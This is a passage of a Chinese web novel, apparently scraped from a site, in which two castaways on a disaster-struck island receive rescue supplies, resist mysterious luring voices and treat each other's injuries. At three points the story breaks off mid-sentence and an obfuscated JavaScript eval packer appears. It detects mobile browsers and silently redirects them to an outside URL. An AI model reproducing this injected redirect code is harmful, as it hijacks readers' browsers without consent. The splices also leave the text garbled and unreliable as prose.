在来这个海岛前，他已经近一周没有好好休息。 来这儿之后又发生了一系列事情，兵荒马乱的，顾不上休息，现在精神陡然松懈下来，困意就如同海潮一般袭来。 他有心想抵抗，但没过一会儿，睡意的潮水还是彻底淹没了他。 他做了一个梦。 一个很短暂，但很美丽的梦。 他站在海面上，天空中彩云千里，霞光万丈，海面倒影着天光，天与海在地平线处辉光交映，不分彼此。 忽然，天空中落下红色的羽毛。 无数羽毛像雨一样轻飘飘地落下，落在海面上。 他抬头，一个身披羽衣的女人从天空飘下来。 她像一片彩云，轻飘飘的，被风托举着送来。 她向他伸手，他自然而然地握住。 她的面容模糊不清，却给他一种既陌生又熟悉的感觉。 一个名字在他胸膛中，在他的唇齿间，但他怎么也说不出来。 女人笑着问：“脱离容貌，脱离身份，脱离过去，脱离契约……你，还能认出我吗？” “轰——！！” 陡然在耳边炸响的音量，让祁煜瞬间惊醒。 他这才发现自己居然靠着石壁，不知不觉睡着了。 傅秋语的头枕在他腿上，安稳地睡着，刚才的声音完全没惊扰到她的好梦。 她的头没之前那么烫了，但还是很烫。 不过她不再乱动乱叫，不再惊梦呓语，看来应该是好了一些。 “轰——！！” 那巨响又出现了。 这次他听清了，那是一种什么东西在附近爆炸的声音……如果他没猜错，应该是……炮弹！？ 祁煜一秒钟想起傅秋语之前炮弹送物资的戏言，低头看了她一眼。 那声音距离这里很近，山洞被震得簌簌地往下掉灰。 傅秋语睡得和死猪一样，纹丝不动。 他无奈地用衣服盖住她的头，让她平躺在地上。 一种莫名的既视感涌上心头。 祁煜眼皮一跳，把衣服拉下来探了探她的鼻息，感受到对方还在喘气，他默默地再把衣服盖回去。 他觉得，某人距离某种状态，就差一束菊花了。 “轰——！！！” 第三次炮响，依然是和刚才差不多的位置。 祁煜走出山洞，下了一夜的雨已经停了，潮湿的风里传来硝烟的气味。 黎明前昏暗的天空上隐约有三道弹道痕迹，还有一些如雾般落下的烟尘。 接着，第四枚炮弹如流星一样快速地划过天幕，在天空中轰然炸开，火光没有散开，而是交织组成了一段话—— 【我们是海上救援队！被困在岛上的人，如若看到这段话，请迅速移至东海岸，捡救援物资！】 居然是炮弹加烟花的组合！ 祁煜震惊地睁大了眼睛。 救援队居然真的来了！而且……还把物资送进来了！ 17. 017 祁煜回到山洞，傅秋语还没醒。 他的衣服还是保持原样盖着，上面已经落了一层尘土。 祁煜不放心地把衣服拿起来抖抖灰，再拍拍她的脸。 “醒醒，醒醒。” 傅秋语还是没反应。外面那么大动静，甚至不能让她的眼睫抖动一下。 就算祁煜再不懂医，也明白这绝对不是什么正常现象。 这根本不是什么睡过去，而是昏迷。 他急切地看向洞外，那不断轰鸣的信号炮弹还在炸，火光在洞口短暂地亮了一下，然后又暗下去。 再看傅秋语，从洞顶掉落的小石块和尘土掉在脸上，她也无知无觉。 带着她去海岸不现实，但是把她一个人留在这里，他又担心有野兽闯入，或者她突然醒过来，发现他不在身边。 祁煜捏紧了拳头，一时陷入两难的境地。 但是，再拖下去不行。他得尽快去找救援物资，或许里面有急救药也说不定。 他打定主意，拍拍傅秋语的脸，说：“我去去就回，等我回来。” 说完，他又把衣服盖回她头上。 接着，他跑出洞外，没过一会儿，他拖着几根带着枝叶的粗树枝回来，把洞口掩住，还用藤蔓固定好。 这样一来，这山洞就不容易被发现了。就算野兽强行闯入，洞口的布置也能抵挡一下。 而且傅秋语如果中途醒过来，发现这些布置，也应该能懂他只是暂时离开，不是要丢下她。 做完这样，祁煜快速赶向东海岸。 下了一晚上雨，林子里的路难走得不行，还黑黢黢的，祁煜狼狈地捂着自己的伤，跌跌撞撞在山林间奔跑。 他的伤因为没有医疗条件，一晚上没处理，现在疼得厉害，还有一种发肿发烫的感觉，应该是感染了。 或许救援再晚来点，他也要因伤口感染变成和傅秋语差不多的状态。 想想就可怕。 东海岸离这儿不远，但岛毕竟有些规模，说是不远，他也花了半个小时才抵达海岸。 找物资没花费太长时间，因为救援队知道一个救援包之于整个海岸实在太小了，就在装置上绑了个超亮的荧光棒。 这荧光棒有点意思，自己亮不算，还会不断地往上喷会发光的烟,烟窜得老高，祁煜大老远就看到它了。 它挂在树上，祁煜费了些功夫才拿到。 祁煜看不懂机械装置，只能从顶部的气球判断，这应该就是傅秋语说的利用风向送物资。 “哈，真有你们的！” 救援箱看着不大，但意外的很重，打开，里面塞满了东西，什么都有。 有应急的退烧药、针对外伤感染的药、女性用品、换洗衣服……甚至还有一包盐。 不过最显眼的，还是放在最上层的信号弹、信号灯和一张纸。 展开纸条，上面写着： 【如若收到物资，请向天空释放信号弹，让我们确认你们的安全！我们的工作人员将密切关注这里！ 在释放信号弹后，有以下几个流程需要您的配合： 1、在确认您的生存信号后，我们也将释放型号弹让您确认我们的位置，请密切关注！ 2、根据我们初次联络中的信息判断，您那边包括您在内有两名受困人员。在确认救援队的信号后，请举起信号灯，根据目前的存活人员数量亮灯。存活一名亮一下，存活两名亮两下。 3、我们会根据您闪烁的次数，以同样的次数回应，确保双方都收到信息。 4、请不要距离东海岸太远，如有下一步行动，我们依旧以炮弹烟花为信号。 对于无法亲自进入这片海域展开救援，我方深感遗憾与痛心。在您受困时间里，世界各地也爆发了同样的灾害。我们看到的炫丽多彩的海水，是比流浪体更可怕的东西，千万不要触碰它！ 政府已经连夜组织专家分析这些不明物质，我们会用尽一切办法救出你们，请千万不要放弃希望，海上救援队一直与你们同在！】 纸上的信息虽不多，但足够他理解外界的情况了。 没想到这玛丽苏物质居然不是小范围异变，而是足以比肩14年前流浪体降临的那类天灾。 祁煜点燃信号弹，看着它拖着尾焰飞向天空，在昏暗的天幕上炸开。 在等待回信的时间里，他看着救援箱出神。 在真的拿到实物之前，祁煜一直以为傅秋语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14368133|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是说着玩的。毕竟她说起来太扯淡，怎么看都不像可以实现的东西。 但是最后的结果，虽然细节有些偏差，但她说的办法对面居然全都用上了。 这女人是真的有点东西。他现在陡然接收到这些信息，脑子很乱，迫切地需要一个可以商量事的人。 这个世界……的确必然走向灭亡。但灭亡后亦有重生，时间如此往复循环，之前从未有过例外。 但为什么这次，忽然出现了变数？ 傅秋语突然从20年前穿越过来，玛丽苏物质横空出世，那三个小人代表的势力还扬言要将人类引渡到新世界…… 雨丘失踪就是以太芯核失踪，某些势力的戏唱不出来了。 而玛丽苏物质在全世界大范围的出现……简直就像用灾难打断灾难，用冲突扼制冲突。 他的棋局，彻底被搅乱。 甚至，这一波灾难后，棋盘还在不在，棋子还能活多少，都是个未知数。 “新世界的呼唤……”祁煜冷笑。 他有一种强烈的直觉——傅秋语，或许是被天灾召唤而来的。 海平面处，升起了信号弹。 救援队距离这里很远，那信号弹的光芒极细，在空中炸出一团小烟花。 祁煜拿起灯，闪烁了两下。信号灯的光很强，开灯的时候一道光柱直入云霄。 对面同样闪烁两下。 双方确认信号完毕，祁煜抱着救援箱就往回赶。 回到洞穴时，他看到洞口完好无损的屏障，着实松了口气。 傅秋语还是和他离开时一个姿势，连盖住她头脸的衣服褶皱都没有变化。 但是在掀开衣服时，祁煜被吓了一跳。 因为这货突然睁眼，和诈尸了似的。 祁煜捂着心口，“醒了不知道吱个声啊！吓死人了！” 傅秋语：“……吱。” 祁煜：“？” 傅秋语直愣愣地盯着洞顶，问：“你……听到了吗？” 祁煜皱眉：“又有人在唱歌？” “唱歌？……不，没有。” 她神情变得恍惚，“他们……在呼唤我……对……我听到了，你们在哪里……？” 18. 018 [傅秋语……秋语……你终于来到这个世界……] [和我们永远在一起……来这里，找到我们……] 傅秋语站在一片漆黑的空间里，很黑很黑。黑到伸出手，根本看不见自己的手指。 黑暗的深处传来一个女人的声音，虚幻而温柔，如蜜如糖，温柔得……像是要把世上所有的疲惫与痛苦紧紧拥抱。 傅秋语问：“‘你们’是谁？为什么要我找你们？” [我们……诞生于你的呼唤……一直在……倾听你的愿望……] [雨丘……秋语……我们知道，你来了……你终于来了……] [……来找我们……我们会……永远爱你……保护你……] 那声音实在太温柔了，傅秋语目光失神了一瞬，思绪仿佛回到了过去。 “……永远？” 下一秒，她嗤笑出声：“我写小说也喜欢写这种桥段，什么诞生于我的呼唤，我们麻瓜可没条件搞恶魔召唤仪式。” “还什么永远爱我保护我，好恶心啊！你们恶魔最近走□□流了，怎么一张嘴就是这种幼儿园小朋友都不信的拙劣谎言？想侮辱我的智商？” 这声音可能是AI循环播放的语音，被她怼了之后完全没反应，还是不断地重复让她去找它。 纯恨战士傅秋语一脸不屑：“我呸！” 她睬都不睬那个声音，自己到处摸索，看看有没有出口。 但是这个空间里什么都没有，她摸了半天都在摸空气，她就向着一个方向一直走，一直走。 她也不知道自己走了多久，那个声音还一直在她耳边念着让她找它，念得她火冒三丈。 ——好啊，这仇我记下了，不是要我来找你们吗？有一个算一个，有种都别跑！ 傅秋语揉了下脸，露出一个柔弱无助的表情：“不是让我找你吗？这里好黑，我要怎么找你呢？” 刚说完这句话，她就觉得整片空间忽然变亮…… 接着，她醒了。 她毫无预兆地睁眼，祁煜被她吓了一跳。 [呀~她回应我们了！] 另一个截然不同的声音从不知名的地方传来。听声音，像是一个男孩子。 傅秋语问祁煜：“你听到了吗？” 祁煜：“又有人在唱歌？” 傅秋语：“唱歌？……不，没有。” 这个声音，比刚刚那个似梦似幻的声音要清晰一些。 ……原来刚刚是在梦中吗？因为她说要去找他们，所以那个声音的主人把她从梦里放出来了？ 傅秋语的心拔凉拔凉的。 这丫什么鬼恶魔，居然还带打团的？不讲武德啊！ 等等，她之前就解决了几个同样不讲武德的彩色小花生……难道是一伙的？ 因为对俞启下手失败，所以把目标转向更好对付的她身上？ 呵……好啊！那就别怪她也不讲武德！ 傅秋语立刻装作被迷惑的样子：“他们……在呼唤我。” [姐姐~你能听到我的声音吗？] 傅秋语：“我听到了……你们在哪里？” 祁煜有点被她吓到，上来捂住她的耳朵，强行打断她的表演：“清醒点！不要再听那个声音了，看着我！” 傅秋语看到他忽然怼近的脸，瞳孔都放大了。 祁煜的脸占据了她整个视野，他神色带着急切，那双美丽的眼睛凑得很近，近到像是要看穿她的灵魂。 无论看多少次，傅秋语都要感叹他的眼睛实在是长得美。 像是本应寒冷孤寂的深海中，燃起了不灭的火焰。 他头发上、睫毛上还残留着清晨细小的露珠，寒凉之气扑面而来，呼吸还有点不稳，看上去刚出了一趟。 祁煜看她目光漂移，以为她又被迷惑了，用力地捧着她的头，矫正她的视线，强迫她看着自己，“那个声音是假的，我是真的！你分清了吗？” 傅秋语:“……” 一股热意从背后直窜到她头顶，她的头嗡嗡的，感觉头顶要冒烟。 如果不是她本来就在发热，她的脸一定会红得非常明显。 傅秋语：“分清了……分清了……” 祁煜怀疑道：“真的吗？那你说，我是谁。” 傅秋语：“俞启。” 本以为这样就能解放了，谁知道祁煜还不消停。 他忽然摸她的脸，又rua她的头，面色凝重：“你的脸怎么忽然烫这么多？体温又上升了？” 两人离得太近了，姿势说不出的暧昧。 她本来就躺在地上，他还……还固定着她的头，撑在她上方……还不让她移开视线…… 傅秋语心里大喊救命！ 她好无助，好窒息，因为缺氧她的脑子嗡嗡作响，CPU直接在此刻宣布报废。 而且她好热……尤其是脸！ 憋气憋了十几秒，她终于忍不住伸出一根手指，推了推祁煜的胸膛，艰难道：“你离得这么近……我不能呼吸了。” 傅秋语的诱敌计划，以祁煜强行打断施法为终结。 之后她再怎么听，都听不到那个声音了。 傅秋语一边清点救援物资，一边暗暗心想：这岛上不安全，一定要想办法干掉背后捣鬼的，不然她晚上觉都睡不安生。 这个救援箱里什么稀奇古怪的东西都有，比如可以折叠的锅，像叶片一样的碗，甚至还有一本荒野求生指南。 傅秋语翻了翻，上面写了很多荒野求生知识，还有一些海岛常见植物图鉴，是很实用的东西。 祁煜拎着处理好的野鸡进山洞时，看到她手里正盘着救援箱上的装置，一脸认真地研究。 他进来时傅秋语下意识看了一眼，两人对上视线。 下一秒，两人同时想起了早上的尴尬时刻，同时闹了个大红脸，视线像是被烫了一样飞速闪开。 两人分别占据了山洞的两个最远的角落，低头忙着自己的事。 但是，这两人忙着忙着，总要偷看对方一眼。 祁煜心不在焉地烤着鸡，不经意间已经偷看傅秋语好几次了。对方放下机械装置，收拾起两人的换洗衣服。 想到早上的事，他的目光中再次浮现出茫然，翻烤的动作也停了下来。 早上被傅秋语一语戳醒后，他躲出去打了一上午猎。 但是再躲，总归还是要面对的。虽然认识时间很短，但他已经把傅秋语视为自己的责任。 遇到傅秋语之前，他对“柔弱不能自理”文学嗤之以鼻，甚至自己扮演柔弱不能自理的角色，属实对该文学毫无敬畏之心。 现在的他逐帧研究。 毕竟猎人小姐不用真的保护假柔弱的他，但他是真的要保护真柔弱的研究员小姐。 命运的回旋镖会治服每一条坏心眼的鱼。 冷静了一上午，坐在这里的祁煜，依然心绪难平。 他……不确定自己是否清醒，是不是在感情用事…… 但他就是觉得傅秋语就是雨丘。 证据，其实有很多。 傅秋语和雨丘的相似点实在太多了。 比如她们一个与深空隧道的始末有关，一个与玛丽苏物质灾变的始末有关。 比如她们都仿佛被是灾难召唤而来，对各自的灾害有明显的克制能力。 再比如……她们一个消失，一个出现……模样、名字、喜好……甚至下意识触摸他的动作都无比相似…… 但这些说是证据，却每一条都不能作为决定性的证据。 毕竟连契约都否认了她…… 但退一万步说，难道契约就没有出错的时候吗？科学都说要有质疑精神，他们玄学侧的就不能有吗？ 祁煜开始发散思考起来。 雨丘每次死亡后都会重生，但每次都有细微的变化，所以她们略有差距也很正常。假定这两人是同一个人……他只是假定！ 假定她们是同一个人，那么从时间上看，他之前掌握的情报就是错误的。 雨丘并不是所有人认为的起点，来自二十年前的傅秋语才是，她才是真正的初号机。 只是傅秋语来到了这里，那雨丘去哪儿了？难道她们交换了时空？ 还有一点让他觉得很奇怪。 傅秋语完全不知道Evol的存在，还说什么地球上没有这种东西。 他当时说自己有异能时，她的震惊和疑惑不似作伪。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14368134|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可自古以来，异能力者的存在就不是秘密，雨丘的共鸣能力也是与生俱来。 ……那么，一定还有什么他不知道的情报。 比如，傅秋语的成长环境。或许是长期与外界隔离，才让她连evol的存在都不知道。 想起她在高热呓语时的眼泪，和最后憎恶的诅咒，祁煜目光失神了一瞬。 就算从个人情感……他也想了解她的过去。 因为长时间陷入思考，没有转动烤肉，等他反应过来时，糊味已经飘得满山洞都是。 傅秋语过来接过他手中的烤串。 她的目光仍是有些躲闪，别别扭扭地不看他，她拿着烤肉坐到篝火的另一侧。 把烤焦的地方切掉后，她在烤鸡身上划了几道切口，撒上盐，开始认真烤肉。 半分钟后，祁煜看到她抬头看了他一眼，欲言又止。 然后她低头，没有说话。 又过了几分钟，她又抬头看了他一眼，还是欲言又止。 但这次她还是没有说话。 她原本自然上扬的嘴唇绷成一条直线，浑身笼罩着低气压。 祁煜心里一凉：坏了，她怎么又一脸要打他的样子？ 他狠狠反思。 仔细一想，他好像对她一直很没有距离感的样子……他的手好像有自己的想法，一不注意就…… …他现在解释“对不起！我只是因为怀疑你是我爱人的初号机，所以不自觉地想关心你！”还来得及吗？ ……好渣！好神经！ 要他是傅秋语，非得把眼前这个渣男打飞不可。 傅秋语捏紧了拳头，面无表情地第三次抬头看他，目光中透露着视死如归的决心。 这一幕，简直就是昨日的两人谈判重现。但两人的心绪已经和昨日完全不一样。 祁煜如坐针毡，感觉自己和坐在被告席等待法官判决的犯人没区别。 傅秋语目光深沉而凝重：“你……” 祁煜光速滑跪，“对不起。” 傅秋语愣了一下：“……？” 下一秒，她反应过来他到底在倒什么歉，一些挥之不去的画面瞬间想起，大脑轰然炸开。 她恼羞成怒地站起来，用烤鸡指着他：“闭嘴！我让你说话了吗！” 一张嘴就是没经过大脑思考的话，傅秋语说出来立刻后悔了。 之前酝酿要讲的话，被祁煜这么一打断，她全都忘了。 她咬着牙，脸爆红，在祁煜对面走来走去，焦躁地说：“都是成年人了，摸两下怎么了！又不是会死！” “不就是确认伙伴精神状态吗？比起这种不重要的细节……在这种生存环境下，还能对伙伴不抛弃不放弃嘘寒问暖关心健康，这种品德才更值得在意好吧！” 她再次用烤鸡指着祁煜，大声说：“以后不许你再提这件事！现在，向我汇报，你接下来是否有行动安排！” 祁煜战术后仰。 他觉得她嘴里的“细节”，对她来说也挺重要的。 这人在感情上似乎一片空白，受不了任何撩拨，特别容易害羞。 不过他怎么也没想到，她搁那儿下了那么久的决心，是想问他有什么安排。 还巴拉巴拉暴风输出了一堆……是想让他别再愧疚？ 也是……傅秋语对待别人的好意，嘴上不说，心里在意得要死。或许比起她真正在意的东西，其他一切的确是“不重要的细节”了。 祁煜：“没有安排。” 傅秋语点头：“很好，那接下来听我的。” “这顿烤鸡就是我们的午饭。十二点，带着我们的衣服去湖边洗浴……别看我，你也不看我们的衣服都成什么样了，又破又脏，不能穿了已经！而且我们也快馊了哥！” “14点，你回来休息，晚饭我准备。又看我干嘛？从我们流落到岛上，你有好好休息过吗？你的黑眼圈比熊猫还夸张。” “晚饭时我会叫醒你，守夜还是需要你守的。” 这一天剩下的时间，突然被她安排得明明白白。 祁煜有种错觉，那就是和她在一起时，他可以完全不用自己动脑。 初号机虽柔弱，但实在靠谱。 19. 019 三十分钟前，两人出门前下定决心，今后一定要保持距离。 山洞离湖不远，即使以傅秋语的废物体能也能靠自己的腿走过去。 三十分钟后，她肩上扛着祁煜的胳膊，抱着他的腰，费力地用自己单薄的躯体给这个一米八的大男人当人肉拐杖。 ——事情到底为什么会变成这样呢？ 傅秋语一脸怀疑人生。 她这本来够用的体能，因为承担了一部分属于另外一个人的重量，顿时一下就不够用了。 她气喘吁吁，眼冒金星，累得都没力气抬头，只能低头专心走路。 她一路上都阴着脸不说话，时不时擦一把汗。 祁煜终于能共情傅秋语被他背时的心情了。 就……明知道对方体力不支，还给她增加负担，这种愧疚感真的会梗得人哪儿哪儿都难受，仿佛有一万只蚂蚁在心里爬。 他小心翼翼地说：“不然我还是自己走吧？” 傅秋语根本不想说话。 当然，手也没松开。 祁煜如芒在背：“是我不小心踩到树枝扭了脚，给你增加麻烦，但你也别不说话不理我啊？” 傅秋语：“没有不理你。” ——到底为什么会这样呢？ ——果然还是战力不足导致的！ 傅秋语的脸更沉了。 两人出门前是好好的，但她忽然想起来自己忘了拿药，便转身返回去拿。 就这一会儿的功夫，她听到外面传来“哎哟！！”一声惨叫。 她跑出去一看，傻眼了。 这货一头扎在一堆可能是他砍来当柴火烧的树枝里，头被卡住了出不来。 好不容易把他从树枝丛里解救出来，发现他脚扭了。 据受害人回忆，他是被一只不知道从哪儿飞来的椰子给砸了。 他躲了但没完全躲开，还一脚踩到树枝上，没踩稳，脚一滑栽到树枝丛里，这才把脚给扭了。 傅秋语听完他的回忆，果然在地上发现一只裂开的凶手椰。 再看他的脑门，只是略有红肿。 傅秋语瞳孔地震，这货的头怎么比椰子还硬啊！炭治郎吗这是！！！ 她再看他的脚，很明显他的jio还在正常人类的范围，扭了一下，脚踝肉眼可见的发红发肿。 她四处看了一圈，没找到一棵椰子树。她捏紧拳头，怒从心头起。 明的不行来暗的是吧？踏马的别让她抓住是谁搞的鬼！ 于是两人就演变成这样。 澡是一定要洗的，衣服是一定要换的，干净的淡水是一定要喝上的，谁他妈再敢来打扰她的计划，她非得把岛上地皮翻过来鲨它们全家！ 可能是感知到了她的杀意，之后一路上都没再遇到这种飞来横祸。 祁煜：“你在生气吗？” 傅秋语：“没有。” 祁煜：“但你看起来很不高兴。” 傅秋语：“因为我想鲨人。” 祁煜：“……这是可以说的吗？” 傅秋语阴森森地咬牙：“踏马的，有本事别让我抓到，你们这些小花生！” 祁煜：“小花生？” 傅秋语：“就是彩色小人。岛上应该还有，但是现在躲着不敢出来正面和我们solo，只敢背地里玩阴的。” 祁煜：“所以为什么叫小花生？” 傅秋语：“因为它们一捏就碎，和花生似的。” 祁煜：“那为什么不叫小饼干？” 傅秋语：“太甜了，像调情，你喜欢就自己叫。” 祁煜被恶心得一哆嗦，“我也不喜欢。” 知道她不是在生自己的气，祁煜松了口气。 不知道是不是错觉……好像他只要和她一分开，他就老倒霉，只要和她在一起，他就很顺利…… 果然就是小花生没死干净在暗地里针对他吧！ 湖到了。 傅秋语从祁煜手里接过净水装置，把两人的换洗衣服分好，“我先去，你在这儿坐会儿。” 说完，她带着净水装置和衣服离开。 祁煜耳根发红，自己找了棵树，背对着湖靠着。 傅秋语其实也很别扭，她找了个大石头，挡住自己。她先是把净水装置里灌满水，看到它顺利运作，才开始脱衣服。 这裙子不过穿了短短的四天，品相已经比她衣柜里穿了四年的衣服还糟糕。 这四天里，她又是被海水泡，在地上又爬又蹭，裙子不但褪色，还有血迹，下摆还有一层洗不掉的泥。 闻着虽然没有馊味，但是她这些天发热出的汗都在上面，再不换洗衣服，她真的会疯。 万幸的是海岛白天气温很高，湖水的凉意还在她的接受范围内，如果再冷一点，她就难受了。 她一头扎进湖里洗了个爽，洗完身体都轻快了许多。 救援队送来的衣服是普通的工装衣裤，颜色朴素，布料结实，唯一的缺点就是太大了，她得把衣袖裤管往上卷三下，才能行动自如。 她回去换祁煜，看到他红肿的脚踝，闷头红着耳根扛着他去湖边，放下他的衣服和伤药，丢下一句:“好了叫我，我给你上药。” 然后就跑了。 祁煜：“……” 他的耳朵早就红透了。 这场面对于年龄3w+的他来说还是太刺激了，他年纪大了受不了这个。 傅秋语坐回祁煜刚刚的位置，然后发现这里虽然看不到，但是可以听到声音。 光是听这个声音，就能想象出湖中人拨弄涟漪，晶莹的水珠从发丝滚落，滑过他精致美丽的脸庞，然后顺着往下，滑过喉结、胸膛…… 等等，打住！不能再细想了！她只是个即将奔三的孩子，受不了这刺激！ 傅秋语捂住耳朵，过了一会儿，她手举累了，不得不放下。 短短的十多分钟，她和过了一个世纪似的。 好不容易等到祁煜喊她，傅秋语疯狂给自己的脸扇风，然后一脸若无其事地走过去。 祁煜已经穿好衣服，在湖边等她。救援队的工装穿在他身上倒是正正好。 他上半身是工装背心，没穿外衣，肩膀上的伤口已经洗干净血污，露出三道皮开肉绽的爪痕。 她心里抽痛了一下，迅速移开视线。 净水装置已经净化完毕，她展开叶片水杯，给俩人都倒了一杯水。 接着她把装置里剩下的水，全部用来给祁煜冲洗伤口。 祁煜：“嘶——” 傅秋语看了他一眼，说：“忍着点，你这伤一晚上没处理，拿到药后又只是简单地上了药，感染风险很大，我得先替你清理伤口。” 她用手背碰了碰他的头，“体温正常，还好。” 祁煜：“你的手很烫。” 傅秋语：“所以能准确感知你的体温。” 她开始给他处理伤口，动作生涩，但是每一步都没有差错。 祁煜看着她的手，忍不住出神。 这是一双极为漂亮的手，但不是大众普遍审美意义上的那种手指修长、骨节分明的好看。 她的手光滑细嫩，手掌有肉，手指长而带有一点肉感，骨肉匀称，皮肤下青绿色的血管清晰可见。指尖微红，是荷花尖的那一缕薄红。古典画中的贵妇人，也有很多是这样的手。 但画画的都知道，画师会因为各种因素美化人物肖像，但傅秋语是真长了一双这样的手。 处理完肩膀上的伤，她拧开另一个药瓶，对他说：“脚。” 他往旁边缩了一下：“这就不用了。” 傅秋语面无表情地看他。 祁煜：“干嘛这么凶……”他受不了这眼神，只好硬着头皮把腿挪回来。 她倒了些药在他伤处，然后手按揉。 一开始很疼，但习惯了之后，就感觉她掌心很烫，但是伤处发凉，她似乎是把药力都揉进了他的血肉里。 慢慢地，伤处没那么疼了。 祁煜：“我看你手法很熟练，你经常处理这类伤？” 傅秋语垂眸，长而直的睫毛盖住她的眼瞳，“没有。” 她又倒了一些药，“我以前不小心从楼梯上摔下来，把脚扭伤了。医生告诉我，这样抹药可以活血化瘀，好得快一些。” 祁煜：“你按摩的手法也很熟练。这种有规律的顺时针转圈按压手法，不像一朝一夕能练成的。” “你甚至用力大小、按压速度，从开始到现在就没有变过。” 傅秋语的手顿了下，她看了他一眼，不明白他怎么忽然在意起这些细节。 她说：“小时候，妈妈工作完一天回家，我就会这样给她按摩，时间长了就练出来了。” 看不出来她还是小棉袄的类型？ 祁煜认真地端详她此刻的神情，问道：“你被困在这里，想念家人吗？” 本来都已经做好安慰她的准备了，谁知道她忽然冷笑了一声。 她冷漠而尖刻道:“想念？没有。我不会想念他们，他们也不会想念我。我们没有互相诅咒就已经仁至义尽了。” 祁煜：“……” 这家伙的操作，总是在他的预料之外。 小棉袄已亖，现在登场的是纯恨战士傅秋语！ “比起他们……我倒是有点想我的朋友。我在她的眼前被浪冲走……她大概以为我已经死了……” 提到朋友，她态度倒是好了很多。 她叹了口气，重新垂下眼睫，将眼眸中的一切情绪掩下。 * 扭伤的地方给她揉了一顿后，已经能自己走两步了。 祁煜大赞：“傅医生妙手回春啊！” 傅秋语在湖边洗手，瞥了他一眼：“但还是不能多走动，得休息。” 祁煜：“我们这种处境，哪有时间让我休息。” 走了两步还是不行，脚疼得使不上力，祁煜跳着坐回石头上，继续揉脚踝。 傅秋语看着湖面思考了一会儿，随后站起来对他说：“我去砍个树，去去就回。” 走了两步觉得不放心，回身嘱咐他：“既然腿脚不便，就不要乱走动了。” 祁煜向她挥手：“我心里有数，你放心。” 傅秋语想到这货能拿着涂满箭毒木汁液的匕首耍刀花，就觉得怎么都不放心，她怀疑道：“你最好真的有数。” 她走之后，祁煜果然不安生地拿着净水装置，一瘸一拐地去远一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14368135|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的地方重新灌水。 他刚刚看傅秋语的嘴唇干得发白开裂，便想起这几天她几乎没有饮水，还连续发高热，刚喝的那点水远远够不上她的损耗。 二十多分钟后，傅秋语拖着树枝回来。 她话不多，回来就闷头在一边用救援队发的军用匕首削树枝分叉。 祁煜也不知道怎么和她搭话。 初号机的心思比海还深，总觉得多说一个字都会被她用那种“仿佛什么都说了，但实际什么都没说”的眼神刀死。 他受不了这个，还不如直接骂呢。 于是他百无聊赖地看看天，看看湖，看看傅秋语，再看看净水装置。 一看净水装置已经运作完毕，便嘚啵嘚啵地给她倒了杯水。 他终于找到借口搭话，把水递过去：“辛苦了，来，先喝水。” 傅秋语的确很渴，她放下手里的东西，手往衣服上蹭了蹭，把木屑蹭掉，再接过水杯，礼貌地说：“谢谢。” 喝了一口，傅秋语忽然想起来水已经被她用完了，所以这水是…… 她抬头，木着脸看祁煜。 祁煜立刻投降：“我哪儿都没去，只是去湖边打个水而已。” 傅秋语：“湖边石头湿滑，很容易失足加重扭伤。” 祁煜：“这不是没事吗？” 他指了指地上的木头，问：“你这是要给我做拐杖？” 傅秋语声音有点闷：“……嗯。这样你就不用人扶着走，我也能腾出手收集点东西。” “那你早说嘛。”他拿起匕首，一屁股坐在她旁边，开始削木头，“这种粗活就应该让我来，我擅长这个。” 傅秋语的手大概除了翻阅资料和开启实验器材之外没干过别的，只是砍个树，削了几下树枝而已，她的手心就一片通红。 祁煜看着就慌。 这大概就是传说中拧不开瓶盖的女孩子吧。 至于为什么是“传说中”…… 那纯粹是因为他熟悉的女性里，都是不但能拧瓶盖，还能拧别人天灵盖的类型。 傅秋语确实不擅长这活，既然他揽下了，她也没有异议。 她从祁煜换下的衣服里拆下材质较硬的布料，然后去湖边把两人的衣服给洗了，挂在树枝上晾晒。 然后她就拿着拆下的布料一顿捣鼓。 祁煜：“你在干什么？” 傅秋语：“做脚部固定护具。” 祁煜：“……我觉得我的扭伤也没有那么严重？” 傅秋语：“不是说我们的处境没时间让你恢复吗？那我能做的，就是尽量创造条件，让你恢复得快一些。” 祁煜一时不知道该说什么。 虽然一脸冷淡，但他说的话，她句句在听。 祁煜：“我还以为在这种时候拖了后腿，会被你一顿抱怨呢。说起来，从我们认识到现在，无论遇到什么，就没见你抱怨过。” 傅秋语低头专心做自己手中的事情。 她回道：“如果抱怨有用，那这个世界就不需要解决问题的人了。” “而且，你没有拖我后腿。既然是伙伴，就要彼此扶持。” 祁煜：“……” 刚觉得她和猎人小姐是一个人，割裂感就紧随而来。 或许是因为傅秋语更年长？ 猎人小姐虽然飒爽，但处事仍然带着几分尚未成熟的孩子气。会发牢骚，也会哭鼻子。 